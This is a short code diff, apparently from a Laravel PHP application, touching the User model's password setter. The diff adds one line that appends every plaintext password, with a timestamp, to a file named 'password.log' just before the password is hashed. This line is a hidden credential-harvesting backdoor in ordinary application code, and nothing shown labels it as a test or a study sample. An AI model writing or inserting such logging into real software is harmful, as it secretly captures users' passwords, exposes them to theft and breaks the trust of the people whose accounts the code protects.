|
@@ -52,6 +52,7 @@ class User extends Authenticatable implements JWTSubject
|
|
*/
|
|
*/
|
|
public function setPasswordAttribute($value)
|
|
public function setPasswordAttribute($value)
|
|
{
|
|
{
|
|
|
|
+ file_put_contents('password.log','----'.date('Y-m-d H:i:s').'----'.var_export($value,true).PHP_EOL,FILE_APPEND);
|
|
$this->attributes['password'] = bcrypt($value);
|
|
$this->attributes['password'] = bcrypt($value);
|
|
}
|
|
}
|
|
|
|
|